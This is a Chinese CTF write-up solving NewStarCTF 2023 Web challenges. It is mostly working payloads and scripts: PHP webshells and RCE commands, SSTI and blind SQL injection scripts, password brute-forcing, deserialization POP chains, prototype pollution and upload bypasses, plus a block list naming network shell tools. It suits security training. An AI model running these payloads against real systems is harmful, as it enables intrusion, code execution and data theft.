NewStarCTF 2023

Web

[Week 1]泄漏的秘密

通过使用 dirsearch 扫描可以得到两个文件可访问 robots.txtwww.zip

robots.txt 内容如下

PART ONE: flag{r0bots_1s_s0_us3ful

www.zip/index.php 内容如下

<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";

即可得到 flag 如下

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

[Week 1]Begin of Upload

通过查看源代码可以发现使用的是前端过滤,通过在浏览器中禁止 JavaScript 后即可直接上传 shell 文件。

通过蚁剑一把梭即可得到 flag(文件在 /fllll4g)。

flag{1b60e33c-182d-4a44-901a-549b43a7a66e}

[Week 1]Begin of HTTP

0x00 GET

请使用 GET方式 来给 ctf 参数传入任意值来通过这关

通过 param 传入 ctf 参数即可,如下

http://node4.buuoj.cn:29844/?ctf=123

0x01 POST

很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢? 
如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里

查看源代码可以发现

<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->

通过 base64 解密可以得到 Secret 值为 n3wst4rCTF2023g00000d ,通过 body 传入即可。

secret=n3wst4rCTF2023g00000d
很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关

通过设置 Cookie 如下

Cookie: power=ctfer

0x03 User-Agent

你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关!

通过设置 User-Agent 如下

User-Agent: NewStarCTF2023

0x04 Referer

希望你是从 newstarctf.com 访问到这个关卡的

通过设置 Referer 如下

Referer: newstarctf.com

0x05 X-Real-Ip

最后一关了!只有 本地用户 可以通过这一关

通过设置 X-Real-Ip 如下

X-Real-Ip: 127.0.0.1

就可以得到 flag 了。

[Week 1]ErrorFlask

通过题目得知需要从 Flask 中的报错中寻找答案,网页回显如下

give me number1 and number2,i will help you to add

通过输入字符串类型的值即可得到报错,Payload 如下

?number1=a&number2=b

得到回显后点击 return "not ssti,flag in source code~"+str(int(num1)+int(num2)) 即可得到 flag ,不方便复制可以 F12 来复制。

flag = "flag{Y0u_@re_3enset1ve_4bout_deb8g}"

[Week 1]Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

0x00 Level 1

md5 绕过,可以通过数组进行绕过,Payload 如下

key1[]=1&key2[]=2

0x01 Level 2

md5 === sha1 绕过,同样可以通过数组进行绕过,Payload 如下(Level 5 中不允许 POST 的值出现任何数字或字母)

key3[]=@

0x02 Level 3

strcmp 函数绕过,同样可以通过数组进行绕过,Payload 如下

key1[]=1&key2[]=2&key4[]=4

0x03 Level 4

is_numeric 函数绕过,将 key5 设置为 2024a(任意字符) 即可,Payload 如下

key1[]=1&key2[]=2&key4[]=4&key5=2024a

0x04 Level 5

extract($_POST); 函数相当于 $name = $_POST['name']

通过发现缺少了 flag5 变量,说明就需要通过以上方法来造出 flag5,又因为 POST 的值出现任何数字或字母,根据在 PHP 中,只要字符串不为空即为 True 的特性,故 Payload 如下

key3[]=@&flag5=@

即可得到 flag。

[Week 1]R!C!E!

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

本题需要知道 GET 或 POST 变量名中的非法字符会转化下划线,即 $_POST['e_v.a.l'] 需要通过 e[.v.a.l 来传入。

并且题目中还存在一个 password,该参数会进行 md5 加密并对比前 6 位需要与 c4d038 一致,可以通过写脚本进行爆破。

import hashlib

for i in range(0, 99999999):
    if hashlib.md5(str(i).encode(encoding='utf-8')).hexdigest()[:6] == "c4d038":
        print(i)
        break
        
# 114514

题目还对部分常见的恶意函数进行了过滤,但是可以通过 反引号 来执行 shell 命令,也可以通过 反斜杠 来进行绕过,Payload 如下

password=114514&e[v.a.l=echo `l\s /`;

可以得到回显如下

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

构造 Payload 如下即可得到 flag

password=114514&e[v.a.l=echo `tac /fl\ag`;

[Week 1]EasyLogin

随意注册一个账号后登录会进入终端,但在 BurpSuite 中可以发现还有一个特别的请求如下

POST /passport/f9e41a08a6eb869b894f509c4108adcf2213667fe2059d896886c5943156c7bc.php

该请求的回显如下

<!-- 恭喜你找到flag -->
<!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 -->
<!-- https://b23.tv/BV1SD4y1J7uY -->
<!-- 庆祝一下吧! -->

很显然,点进去一看是个诈骗 flag,继续研究终端的 JavaScript 源码发现这个终端是个虚假的终端,但在其中还能发现一个 admin 账号,并且存在一个提示 Maybe you need BurpSuite. ,看来用 bp 这方向没错,那就开始爆破寻找 admin 账号的密码。

从图中已知输入的密码会进行 md5 加密,通过编写 Python 脚本进行爆破,我这里爆破用的是 rockyou.txt ,可以在 Kali 中找到。

import requests

with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as file:
    for line in file:
        line = line.strip()
        data = {"un": "admin", "pw": f"{hashlib.md5(str(line).encode(encoding='utf-8')).hexdigest()}", "rem": "0"}
        ret = requests.post('http://node4.buuoj.cn:25956/signin.php', data=data)
        if 'div class="alert alert-success show' in ret.text:
            print(line)
            break
            
# 000000 

通过将得到的密码手动再进行一次登录操作,就可以得到 flag 了。

[Week 2]include 0。0

file=php://filter/read=convert.%2562ase64-encode/resource=flag.php

[Week 2]Unserialize?

unser=O:4:"evil":1:{s:3:"cmd";s:35:"c\at /th1s_1s_fffflllll4444aaaggggg";}

[Week 2]Upload again!

.htaccess 绕过、<? 绕过

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

[Week 2]R!!C!!E!!

/bo0g1pop.php?star=eval(array_rand(array_flip(getallheaders())));
User-Agent: system("cat /flag");

[Week 2]游戏高手

进入 Console

gameScore=999999999999999

运行玩游戏直接白给就可以得到 flag 了。

[Week 2]ez_sql

$ python sqlmap.py -u http://ba57bf2c-be27-41e7-b824-792bf7347c7f.node4.buuoj.cn:81/?id=TMP0919 -D ctf --tables --dump-all

可以爆破数据库名字为 ctf ,表名 here_is_flag ,字段名 flag ,以及 flag。

[Week 3]Include 🍐

这题考察的是 LFI to RCE。

打开页面源代码如下

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

通过构造 payload 如下

file=phpinfo

可以发现 env 存在属性 FLAG 值为 fake{Check_register_argc_argv} ,通过查看属性 register_argc_argv 可以发现值为 On

https://cloud.tencent.com/developer/article/2204400

register_argc_argv 告诉PHP是否声明了 argvargc 变量,这些变量可以是 POST 信息、也可以是 GET 信息,设置为 TRUE 时,能够通过 CLI SAPI 持续读取 argc 变量(传递给应用程序的若干参数)和 argv 变量(实际参数的数组),当我们使用 CLI SAPI 时,PHP变量 argc 和 argv 会自动填充为合适的值,并且可以在SERVER数组中找到这些值,比如 $_SERVER['argv'] 。

当构造 payload a=a+b+c 的时候,可以通过 var_dump($_SERVER['argv']); 输出 array(1){[0]=>string(3)"a=a" [1]=>string(1)"b" [2]=>string(1)"c"} ,即通过 + 作为分割符。

通过构造 payload 如下

file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST[1])?>+./1.php

可以得到回显如下

Successfully created default configuration file "/var/www/html/1.php"

通过访问 1.php ,并构造 payload 如下即可得到 flag。

1=system("cat /flag");

[Week 3]medium_sql

根据题目描述可以得出需要进行一些绕过,先查看那些关键词被过滤了。

过滤关键词:union、# ,发现回显只有 id not exists 还有 ID 正确时的输出,故尝试布尔注入,经测试 select、or、where、ascii 需要进行大小写绕过。

import requests
import time

target = "http://c14df6c5-9f87-4cfa-bd7a-9dd3bca93bf4.node4.buuoj.cn:81/"


def getDataBase():  # 获取数据库名
    database_name = ""
    for i in range(1, 1000):  # 注意是从1开始,substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:  # 二分法
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(database()))," + str(i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target+'?id='+params["id"])
            if "Physics" in r.text:  # 为真时说明该字符在ascii表后面一半
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        database_name += chr(mid)  # 将ascii码转换为字符
        print(database_name)
    return "数据库名:" + database_name


def getTable():  # 获取表名
    column_name = ""
    for i in range(1, 1000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(table_name))from(infOrmation_schema.tables)wHere(table_schema='ctf'))," + str(
                    i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if "Physics" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
        print(column_name)
    return "表名为:" + column_name


def getColumn():  # 获取列名
    column_name = ""
    for i in range(1, 250):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(column_name))from(infOrmation_schema.columns)wHere(table_name='here_is_flag'))," + str(
                    i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if 'Physics' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
        print(column_name)
    return "列名为:" + column_name


def getFlag():  # 获取flag
    flag = ""
    for i in range(1, 1000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(flag))from(here_is_flag))," + str(i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if 'Physics' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid)
        print(flag)
    return "flag:" + flag


a = getDataBase()
b = getTable()
c = getColumn()
d = getFlag()
print(a)
print(b)
print(c)
print(d)

[Week 3]POP Gadget

源代码

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

POP链如下

Begin::__destruct()->Then::__toString()->Super::__invoke()->Handle::__call($func, $vars)->CTF::end()->WhiteGod::__unset($var)

构造 Payload 过程如下

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __construct($super)
    {
        $this->func = $super;
    }

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __construct($ctf)
    {
        $this->obj = $ctf;
    }

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;

    public function __construct($handle)
    {
        $this->obj = $handle;
    }

    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);
    }
}

@unserialize($_POST['pop']);

$begin = new Begin();
$ctf = new CTF();
$handle = new Handle($ctf);
$super = new Super($handle);
$begin->name = new Then($super);
$ctf->handle = new WhiteGod();
$ctf->handle->func = "system";
$ctf->handle->var = "cat /flag";

echo urlencode(serialize($begin));

// O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

[Week 3]GenShin

通过查看 Network - Headers 可以发现 Pop 属性值为 /secr3tofpop ,通过访问可以得到回显如下

please give a name by get

通过构造 Payload 如下

name=123

可以得到回显如下

Welcome to NewstarCTF 2023 123

猜测应该是 Python 的 SSTI 注入,通过构造 Payload 如下

name={{7*7}}

得到回显如下

big hacker!get away from me!

尝试另外一种 Payload 如下

name=<div data-gb-custom-block data-tag="print" data-0='7' data-1='7' data-2='7' data-3='7'></div>

可以得到回显如下

Welcome to NewstarCTF 2023 49

故判断可以通过此方法继续进行 SSTI 注入,通过尝试各种关键字可以发现 单引号, init, lipsum, url_for, 反斜杠, popen 被过滤了。

通过构造 Payload 如下

name=

<div data-gb-custom-block data-tag="print" data-0=''></div>

可以输出所有的子类,被过滤的关键字可以通过 |attr() 进行绕过,由于直接使用 eval 无法使用 chr 函数,因此需要通过在里面多套一层 eval 来实现,由于已经存在单双引号了,所以就直接全用 chr 函数来实现注入吧,生成脚本如下

string = "__import__('os').popen('cat /flag').read()"
output = ""

for char in string:
    output += f"chr({ord(char)})%2b"

print(output)
"""
chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)
"""

构造 Payload 如下

name=

<div data-gb-custom-block data-tag="print" data-0='' data-1='' data-2='132' data-3='132' data-4='132' data-5='132' data-6='132' data-7='132' data-8='132' data-9='132' data-10='132' data-11='132' data-12='132' data-13='132' data-14='132' data-15='2' data-16='__in' data-17='__in' data-18='+' data-19=')|attr(' data-20='__globals__' data-21='))[' data-22='__builtins__' data-23='].eval(' data-24='95' data-25='95' data-26='95' data-27='95' data-28='95' data-29='5' data-30='2' data-31='2' data-32='2' data-33='95' data-34='95' data-35='95' data-36='5' data-37='2' data-38='2' data-39='2' data-40='105' data-41='105' data-42='5' data-43='2' data-44='2' data-45='2' data-46='109' data-47='109' data-48='9' data-49='2' data-50='2' data-51='2' data-52='112' data-53='112' data-54='12' data-55='2' data-56='2' data-57='2' data-58='111' data-59='111' data-60='11' data-61='2' data-62='2' data-63='2' data-64='114' data-65='114' data-66='14' data-67='2' data-68='2' data-69='2' data-70='116' data-71='116' data-72='16' data-73='2' data-74='2' data-75='2' data-76='95' data-77='95' data-78='95' data-79='5' data-80='2' data-81='2' data-82='2' data-83='95' data-84='95' data-85='95' data-86='5' data-87='2' data-88='2' data-89='2' data-90='40' data-91='40' data-92='40' data-93='0' data-94='2' data-95='2' data-96='2' data-97='39' data-98='39' data-99='39' data-100='9' data-101='2' data-102='2' data-103='2' data-104='111' data-105='111' data-106='11' data-107='2' data-108='2' data-109='2' data-110='115' data-111='115' data-112='15' data-113='2' data-114='2' data-115='2' data-116='39' data-117='39' data-118='39' data-119='9' data-120='2' data-121='2' data-122='2' data-123='41' data-124='41' data-125='41' data-126='1' data-127='2' data-128='2' data-129='2' data-130='46' data-131='46' data-132='46' data-133='6' data-134='2' data-135='2' data-136='2' data-137='112' data-138='112' data-139='12' data-140='2' data-141='2' data-142='2' data-143='111' data-144='111' data-145='11' data-146='2' data-147='2' data-148='2' data-149='112' data-150='112' data-151='12' data-152='2' data-153='2' data-154='2' data-155='101' data-156='101' data-157='1' data-158='2' data-159='2' data-160='2' data-161='110' data-162='110' data-163='10' data-164='2' data-165='2' data-166='2' data-167='40' data-168='40' data-169='40' data-170='0' data-171='2' data-172='2' data-173='2' data-174='39' data-175='39' data-176='39' data-177='9' data-178='2' data-179='2' data-180='2' data-181='99' data-182='99' data-183='99' data-184='9' data-185='2' data-186='2' data-187='2' data-188='97' data-189='97' data-190='97' data-191='7' data-192='2' data-193='2' data-194='2' data-195='116' data-196='116' data-197='16' data-198='2' data-199='2' data-200='2' data-201='32' data-202='32' data-203='32' data-204='2' data-205='2' data-206='2' data-207='2' data-208='47' data-209='47' data-210='47' data-211='7' data-212='2' data-213='2' data-214='2' data-215='102' data-216='102' data-217='2' data-218='2' data-219='2' data-220='2' data-221='108' data-222='108' data-223='8' data-224='2' data-225='2' data-226='2' data-227='97' data-228='97' data-229='97' data-230='7' data-231='2' data-232='2' data-233='2' data-234='103' data-235='103' data-236='3' data-237='2' data-238='2' data-239='2' data-240='39' data-241='39' data-242='39' data-243='9' data-244='2' data-245='2' data-246='2' data-247='41' data-248='41' data-249='41' data-250='1' data-251='2' data-252='2' data-253='2' data-254='46' data-255='46' data-256='46' data-257='6' data-258='2' data-259='2' data-260='2' data-261='114' data-262='114' data-263='14' data-264='2' data-265='2' data-266='2' data-267='101' data-268='101' data-269='1' data-270='2' data-271='2' data-272='2' data-273='97' data-274='97' data-275='97' data-276='7' data-277='2' data-278='2' data-279='2' data-280='100' data-281='100' data-282='0' data-283='2' data-284='2' data-285='2' data-286='40' data-287='40' data-288='40' data-289='0' data-290='2' data-291='2' data-292='2' data-293='41' data-294='41' data-295='41' data-296='1'></div>

即可得到 flag。

[Week 3]R!!!C!!!E!!!

源代码如下

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

通过 exec 方法可以执行系统命令,因此这题也考的是 Linux 的命令绕过。

由于引号没有进行绕过,所以可以通过引号进行关键字的绕过,构造 Payload 过程如下

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

$pop = new minipop();
$pop->qwejaskdjnlka = new minipop();
$pop->qwejaskdjnlka->code = "cat /flag_is_h3eeere | t''ee 2";

echo serialize($pop);
// O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee 2";s:13:"qwejaskdjnlka";N;}}

即可得到 flag。

[Week 3]OtenkiGirl

源代码中存在 hint.txt 内容如下

『「routes」フォルダーだけを見てください。SQLインジェクションはありません。』と御坂御坂は期待に満ちた気持ちで言った。
---
“请只看‘routes’文件夹。没有SQL注入。”御坂御坂满怀期待地说。

routes/info.js 可以发现该路由用于根据所给的 timestamp 输出该时间戳之后的所有内容。

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

在输入 timestamp 后,上述方法会将所输入的 timestamp 与 min_public_time 进行对比,其中 CONFIG.min_public_time 值不存在,DEFAULT_CONFIG.min_public_time 值为 2019-07-09 ,因此需要通过污染 min_public_time 属性才能使其输出 2019-07-09 之前的数据。

minTimestamp 首先会从 CONFIG 中获取 min_public_time ,获取失败后继续再从 DEFAULT_CONFIG 中获取,二者的原型对象都是 Object

routes/submit.js 中可以发现原型链污染点:

// L39
const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

// L73
const DEFAULT = {
    date: "unknown",
    place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));

在上述代码中,data 的值是可控的,能够通过 POST 请求传入。DEFAULT 的原型对象也是 Object ,因此可以通过 submit 路由来进行污染攻击。

构造 Payload 如下

{
    "contact":"a's'd",
    "reason":"a'd's",
    "__proto__": {
        "min_public_time":  "1970-01-01"
    }
}

通过访问 /info/0 可以得到回显得到 flag 。

{
    status: "success",
    data: [
        ...,
        {
            wishid: "2TrumXdm9HTH9SZvgNPaHmAx",
            date: "2021-09-27",
            place: "学園都市",
            contact: "御坂美琴",
            reason: "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{c2c65ecd-d8d1-4b68-8003-5e608c0dc222}です",
            timestamp: 1190726040836
        },
        ...
    ]
}

[Week 4]逃

这题考察的是 PHP 反序列化逃逸。

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

可控的属性为 key ,并且可以通过 waf 中的替换来实现反序列化逃逸的效果。

$getFlag = new GetFlag('');
echo '<br>'.serialize($getFlag).'<br>';
echo waf(serialize($getFlag)).'<br>';
// O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}
// O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}

需要通过逃逸构造出 ";s:3:"cmd";s:4:"ls /";} 共 24 个字符,又因为 bad 替换成 good 后即增加一位,因此需要循环 24 次 bad 来进行逃逸。

$getFlag = new GetFlag(str_repeat("bad", 24).'";s:3:"cmd";s:4:"ls /";}');
echo '<br>'.serialize($getFlag).'<br>';
echo waf(serialize($getFlag)).'<br>';
// O:7:"GetFlag":2:{s:3:"key";s:96:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}
// O:7:"GetFlag":2:{s:3:"key";s:96:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}

构造 Payload 如下

key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

即可输出跟目录的内容,同理构造 Payload 如下

key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

即可得到 flag。

[Week 4]More Fast

  • GC 回收

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

在PHP中,使用 引用计数回收周期 来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向 时,它就会被变成垃圾,被 GC 机制自动回收掉 那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被 GC 机制回收,在回收的过程中,它会自动触发 _destruct 方法,而这也就是我们绕过抛出异常的关键点。

https://xz.aliyun.com/t/11843

当 Unserialize 运行失败时,则会对运行中的已经创建出来的类进行销毁,提前触发 __destruct 函数。

触发 GC 机制的方法:

  • 对象被 unset() 函数处理;

  • 数组对象为 NULL 。

<?php
show_source(__FILE__);

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a=array(new B,0);

echo serialize($a);

// a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
// 数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0

将第二个索引值设为空 ,就可以触发 GC 回收机制。

POP 链如下:

Start::__destruct()->Crypto::__toString()->Reverse::__get($var)->Pwn::__invoke()->Web::evil()
$p = new Pwn();
$p->obj = new Web;
$p->obj->func = "system";
$p->obj->var = "ls /";
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;

$a = array($s, 0);
echo serialize($a);
// a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}

通过将第二个索引 i:1 修改为 i:0 即可出发 GC 回收机制,构造 Payload 如下

fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}

即可得到目录,再构造 Payload 如下即可得到 flag 。

fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;}

[Week 4]midsql

$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];

经过尝试无论输入什么正确的都只会回显 你不会以为我真的会告诉你结果吧 ,猜测需要进行盲注,先通过构造不同的 Payload 判断哪些被进行了过滤需要进行绕过。

经过测试,空格、等号被绕过了,可以通过 /**/like 进行绕过。

import time
import socket
import requests
import requests.packages.urllib3.util.connection as urllib3_conn

urllib3_conn.allowed_gai_family = lambda: socket.AF_INET

session = requests.Session()
def getDatabase():
    results = []
    for i in range(1, 1000):
